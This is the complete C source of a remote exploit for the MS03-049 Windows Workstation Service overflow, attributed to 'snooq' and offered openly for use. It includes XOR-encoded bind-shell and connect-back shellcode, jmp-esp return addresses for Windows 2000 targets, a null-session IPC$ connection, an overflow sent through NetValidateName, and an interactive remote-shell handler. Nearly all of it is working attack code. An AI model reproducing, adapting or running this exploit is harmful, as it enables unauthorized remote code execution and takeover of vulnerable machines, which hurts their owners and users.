Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)
/*
 *  Author: snooq
 *  Date: 14 November 2003
 *
 *  +++++++++++++ THIS IS A PRIVATE VERSION +++++++++++++++
 *
 *  This is just slightly better than the one I posted to
 *  packetstorm....
 *
 *  The public version will crash 'services.exe' immediately
 *  while this one crash it only when u exit from shell....
 *
 *  I'm still trying to figure out a way to avoid the 'crash'
 *  all together... any ideas????
 *
 *  Let me know if you hav trouble compiling this shit...
 *  I hope this could be a good e.g for u to try Win32
 *  exploitation..
 *
 *  This code is crappy... if u know of a better way of doing
 *  things... pls tell me.......
 *
 *  Otherwise, if you guys r keen... I'll be more than happy
 *  to go thru this in details wif u all... Meanwhile..enjoy!
 *
 *  +++++++++++++++++++++++++++++++++++++++++++++++++
 */

#pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmt.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcd.lib")
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"msvcrt")
#pragma comment (lib,"mpr")
#pragma warning (disable:4013)

#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <lm.h>

#define NOP     0x90
#define PORT    24876
#define KEY     0x99999999

#define ALIGN           1       // Between 0 ~ 3
#define TARGET          1
#define INTERVAL        3
#define TIME_OUT        20
#define PORT_OFFSET_1   198
#define PORT_OFFSET_2   193
#define IP_OFFSET       186
#define SC_OFFSET       20      // Gap for some NOPs...
#define RET_SIZE        2026    // Big enuff to take EIP... ;)

#define SC_SIZE_1       sizeof(bindport)
#define SC_SIZE_2       sizeof(connback)

#define BSIZE   2600
#define SSIZE   128

extern char getopt(int,char **,char*);
extern char *optarg;
static int alarm_fired=0;

HMODULE hMod;
FARPROC fxn;
HANDLE t1, t2;

char buff[BSIZE];

struct {
        char *os;
        long jmpesp;
        char *dll;
}

targets[] = {
        {
                "Window 2000 (en) SP4",
                0x77e14c29,
                "user32.dll 5.0.2195.6688"
        },
        {
                "Window 2000 (en) SP1",
                0x77e3cb4c,
                "user32.dll 5.0.2195.1600"
        },
        {
                "For debugging only",
                0x41424344,
                "dummy.dll 5.0.2195.1600"
        }
}, v;

/*
 * HD Moore's shellcode..... ;)
 */

char bindport[]=
        "\xeb\x19\x5e\x31\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x99\x99\x99"
        "\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
        "\x71\xa1\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x7c\xd0\x1f"
        "\xd0\x3d\x34\xb7\x70\x3d\x83\xe9\x5e\x40\x90\x6c\x34\x52\x74\x65"
        "\xa2\x17\xd7\x97\x75\xe7\x41\x7b\xea\x34\x40\x9c\x57\xeb\x67\x2a"
        "\x8f\xce\xca\xab\xc6\xaa\xab\xb7\xdd\xd5\xd5\x99\x98\xc2\xcd\x10"
        "\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd\x12\x98\x12\xd9\x95\x12\xe9\x85"
        "\x34\x12\xc1\x91\x72\x95\x14\xce\xb5\xc8\xcb\x66\x49\x10\x5a\xc0"
        "\x72\x89\xf3\x91\xc7\x98\x77\xf3\x93\xc0\x12\xe4\x99\x19\x60\x9f"
        "\xed\x7d\xc8\xca\x66\xad\x16\x71\x09\x99\x99\x99\xc0\x10\x9d\x17"
        "\x7b\x72\xa8\x66\xff\x18\x75\x09\x98\xcd\xf1\x98\x98\x99\x99\x66"
        "\xcc\xb9\xce\xce\xce\xce\xde\xce\xde\xce\x66\xcc\x85\x10\x5a\xa8"
        "\x66\xce\xce\xf1\x9b\x99\xf8\xb5\x10\x7f\xf3\x89\xcf\xca\x66\xcc"
        "\x81\xce\xca\x66\xcc\x8d\xce\xcf\xca\x66\xcc\x89\x10\x5b\xff\x18"
        "\x75\xcd\x99\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x10\x4e\x5f"
        "\xdd\xbd\x89\xdd\x67\xdd\xbd\xa4\x10\xe5\xbd\xd1\x10\xe5\xbd\xd5"
        "\x10\xe5\xbd\xc9\x14\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0"
        "\xc8\xc8\x66\xec\x99\xc8\x66\xcc\xa9\x10\x78\xf1\x66\x66\x66\x66"
        "\x66\xa8\x66\xcc\xb5\xce\x66\xcc\x95\x66\xcc\xb1\xca\xcc\xcf\xce"
        "\x12\xf5\xbd\x81\x12\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81"
        "\x12\xc3\xb9\x98\x72\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65"
        "\xa8\x59\x35\xa1\x79\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5"
        "\xbd\x8d\xec\x78\x12\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85"
        "\x98\x72\x12\x9d\x12\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4"
        "\xc2\x5b\x91\x99";

char connback[]=
        "\xeb\x19\x5e\x31\xc9\x81\xe9\xab\xff\xff\xff\x81\x36\x99\x99\x99"
        "\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
        "\x71\xa9\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x75\x60\x33"
        "\xf9\x40\x90\x6c\x34\x52\x74\x65\xa2\x17\xd7\x97\x75\xe7\x41\x7b"
        "\xea\x34\x40\x9c\x57\xeb\x67\x2a\x8f\xce\xca\xab\xc6\xaa\xab\xb7"
        "\xdd\xd5\xd5\x99\x98\xc2\xcd\x10\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd"
        "\x12\x98\x12\xd9\x95\x12\xe9\x85\x34\x12\xc1\x91\x72\x95\x14\xce"
        "\xbd\xc8\xcb\x66\x49\x10\x5a\xc0\x72\x89\xf3\x91\xc7\x98\x77\xf3"
        "\x91\xc0\x12\xe4\x99\x19\x60\x9d\xed\x7d\xc8\xca\x66\xad\x16\x71"
        "\x1a\x99\x99\x99\xc0\x10\x9d\x17\x7b\x72\xa8\x66\xff\x18\x75\x09"
        "\x98\xcd\xf1\x98\x98\x99\x99\x66\xcc\x81\xce\xce\xce\xce\xde\xce"
        "\xde\xce\x66\xcc\x8d\x10\x5a\xa8\x66\xf1\x59\x31\x91\xa0\xf1\x9b"
        "\x99\xf8\xb5\x10\x78\xf3\x89\xc8\xca\x66\xcc\x89\x1c\x59\xec\xdd"
        "\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x5f\xdd\xbd\x89\xdd\x67"
        "\xdd\xbd\xa4\x10\xc5\xbd\xd1\x10\xc5\xbd\xd5\x10\xc5\xbd\xc9\x14"
        "\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0\xc8\xc8\x66\xec\x99"
        "\xc8\x66\xcc\xb1\x10\x78\xf1\x66\x66\x66\x66\x66\xa8\x66\xcc\xbd"
        "\xce\x66\xcc\x95\x66\xcc\xb9\xca\xcc\xcf\xce\x12\xf5\xbd\x81\x12"
        "\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81\x12\xc3\xb9\x98\x72"
        "\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65\xa8\x59\x35\xa1\x79"
        "\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5\xbd\x8d\xec\x78\x12"
        "\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85\x98\x72\x12\x9d\x12"
        "\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4\xc2\x5b\x91\x99\x09";

void err_exit(char *s) {
        printf("%s\n",s);
        exit(0);
}

/*
 * Ripped from TESO code and modifed by ey4s for win32
 * and... lamer quoted it wholesale here..... =p
 */

void doshell(int sock) {
        int l;
        char buf[512];
        struct timeval time;
        unsigned long ul[2];

        time.tv_sec=1;
        time.tv_usec=0;

        while (1) {
                ul[0]=1;
                ul[1]=sock;

                l=select(0,(fd_set *)&ul,NULL,NULL,&time);
                if(l==1) {
                        l=recv(sock,buf,sizeof(buf),0);
                        if (l<=0) {
                                err_exit("-> Connection closed...\n");
                        }
                        l=write(1,buf,l);
                        if (l<=0) {
                                err_exit("-> Connection closed...\n");
                        }
                }
                else {
                        l=read(0,buf,sizeof(buf));
                        if (l<=0) {
                                err_exit("-> Connection closed...\n");
                        }
                        l=send(sock,buf,l,0);
                        if (l<=0) {
                                err_exit("-> Connection closed...\n");
                        }
                }
        }
}

void changeip(char *ip) {
        char *ptr;
        ptr=connback+IP_OFFSET;
        /* Assume Little-Endianess.... */
        *((long *)ptr)=inet_addr(ip)^KEY;
}

void changeport(char *code, int port, int offset) {
        char *ptr;
        ptr=code+offset;
        port^=KEY;
        /* Assume Little-Endianess.... */
        *ptr++=(char)((port>>8)&0xff);
        *ptr++=(char)(port&0xff);
}

void banner() {
        printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n");
}

void usage(char *s) {
        banner();
        printf("Usage: %s [options]\n",s);
        printf("\t-r\tSize of 'return addresses'\n");
        printf("\t-a\tAlignment size [0~3]\n");
        printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n");
        printf("\t\tPort for shell to connect back (in 'listening' mode)\n");
        printf("\t-s\tShellcode offset from the return address\n");
        printf("\t-h\tTarget's IP\n");
        printf("\t-t\tTarget types. ( -H for more info )\n");
        printf("\t-H\tShow list of possible targets\n");
        printf("\t-l\tListening for shell connecting\n");
        printf("\t\tback to port specified by '-p' switch\n");
        printf("\t-i\tIP for shell to connect back\n");
        printf("\t-I\tTime interval between each trial ('connecting' mode only)
\n");
        printf("\t-T\tTime out (in number of seconds)\n\n");
        printf("\tNotes:\n\t======\n\t'-h' is mandatory\n");
        printf("\t'-i' is mandatory if '-l' is specified\n\n");
        exit(0);
}

void showtargets() {
        int i;
        banner();
        printf("Possible targets are:\n");
        printf("=====================\n");
        for (i=0;i<sizeof(targets)/sizeof(v);i++) {
                printf("%d) %s",i+1,targets[i].os);
                printf(" --> 0x%08x (%s)\n",targets[i].jmpesp,targets[i].dll);
        }
        exit(0);
}

void sendstr(char *host) {

        WCHAR wStr[128];
        char ipc[128], hStr[128];

        DWORD ret;
        NETRESOURCE NET;

        hMod=LoadLibrary("netapi32.dll");
        fxn=GetProcAddress(hMod,"NetValidateName");

        _snprintf(ipc,127,"\\\\%s\\ipc$",host);
        _snprintf(hStr,127,"\\\\%s",host);
        MultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/size
of(wStr[0]));

        NET.lpLocalName = NULL;
        NET.lpProvider = NULL;
        NET.dwType = RESOURCETYPE_ANY;
        NET.lpRemoteName = (char*)&ipc;

        printf("-> Setting up $IPC session...(aka 'null session')\n");
        ret=WNetAddConnection2(&NET,"","",0);

        if (ret!=ERROR_SUCCESS) { err_exit("-> Couldn't establish IPC$ connecti
on..."); }
        else printf("-> IPC$ session setup successfully...\n");

        printf("-> Sending exploit string...\n");

        ret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0);

}

VOID CALLBACK alrm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime ) {
        err_exit("-> I give up...dude.....");
}

void setalarm(int timeout) {

        MSG msg = { 0, 0, 0, 0 };
        SetTimer(0, 0, (timeout*1000), (TIMERPROC)alrm_bell);

        while(!alarm_fired) {
                if (GetMessage(&msg, 0, 0, 0) ) {
                        if (msg.message == WM_TIMER) printf("-> WM_TIMER receiv
ed...\n");
                        DispatchMessage(&msg);
                }
        }

}

void resetalarm() {
        if (TerminateThread(t2,0)==0) {
                err_exit("-> Failed to reset alarm...");
        }
        if (TerminateThread(t1,0)==0) {
                err_exit("-> Failed to kill the 'sending' thread...");
        }
}

void do_send(char *host,int timeout) {
        t1=(HANDLE)_beginthread(sendstr,0,host);
        if (t1==0) { err_exit("-> Failed to send exploit string..."); }
        t2=(HANDLE)_beginthread(setalarm,0,timeout);
        if (t2==0) { err_exit("-> Failed to set alarm clock..."); }
}

int main(int argc, char *argv[]) {

        char opt;
        char *host, *ptr, *ip="";
        struct sockaddr_in sockadd;
        int i, i_len, ok=0, mode=0, flag=0;
        int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
        int target=TARGET, scsize=SC_SIZE_1, port=PORT;
        int timeout=TIME_OUT, interval=INTERVAL;
        long retaddr;

        WSADATA wsd;
        SOCKET s1, s2;

        if (argc<2) { usage(argv[0]); }

        while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) {
                switch(opt) {
                        case 'a':
                        align=atoi(optarg);
                        break;

                        case 'I':
                        interval=atoi(optarg);
                        break;

                        case 'T':
                        timeout=atoi(optarg);
                        break;

                        case 't':
                        target=atoi(optarg);
                        retaddr=targets[target-1].jmpesp;
                        break;

                        case 'i':
                        ip=optarg;
                        changeip(ip);
                        break;

                        case 'l':
                        mode=1;
                        scsize=SC_SIZE_2;
                        break;

                        case 'r':
                        retsize=atoi(optarg);
                        break;

                        case 's':
                        sc_offset=atoi(optarg);
                        break;

                        case 'h':
                        ok=1;
                        host=optarg;
                        sockadd.sin_addr.s_addr=inet_addr(optarg);
                        break;

                        case 'p':
                        port=atoi(optarg);
                        break;

                        case 'H':
                        showtargets();
                        break;

                        default:
                        usage(argv[0]);
                        break;
                }
        }

        if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }

        memset(buff,NOP,BSIZE);

        ptr=buff+align;
        for(i=0;i<retsize;i+=4) {
                *((long *)ptr)=retaddr;
                ptr+=4;
        }

        if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {
                err_exit("-> WSAStartup error....");
        }

        if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                err_exit("-> socket() error...");
        }
        sockadd.sin_family=AF_INET;
        sockadd.sin_port=htons((SHORT)port);

        ptr=buff+retsize+sc_offset;

        if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'..");

        banner();

        if (mode) {

                printf("-> 'Listening' mode...( port: %d )\n",port);

                changeport(connback, port, PORT_OFFSET_2);
                for(i=0;i<scsize;i++) { *ptr++=connback[i]; }

                do_send(host,timeout);
                Sleep(1000);

                sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
                i_len=sizeof(sockadd);

                if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) {
                        err_exit("-> bind() error");
                }

                if (listen(s1,0)<0) {
                        err_exit("-> listen() error");
                }

                printf("-> Waiting for connection...\n");

                s2=accept(s1,(struct sockaddr *)&sockadd,&i_len);

                if (s2<0) {
                        err_exit("-> accept() error");
                }

                printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr)
);

                resetalarm();
                doshell(s2);

        }
        else {

                printf("-> 'Connecting' mode...\n",port);

                changeport(bindport, port, PORT_OFFSET_1);
                for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }

                do_send(host,timeout);
                Sleep(1000);

                printf("-> Will try connecting to shell now....\n");

                i=0;
                while(!flag) {
                        Sleep(interval*1000);
                        if(connect(s1,(struct sockaddr *)&sockadd, sizeof(socka
dd))<0) {
                                printf("-> Trial #%d....\n",i++);
                        }
                        else { flag=1; }
                }

                printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.s
in_addr),port);

                resetalarm();
                doshell(s1);

        }

        return 0;

}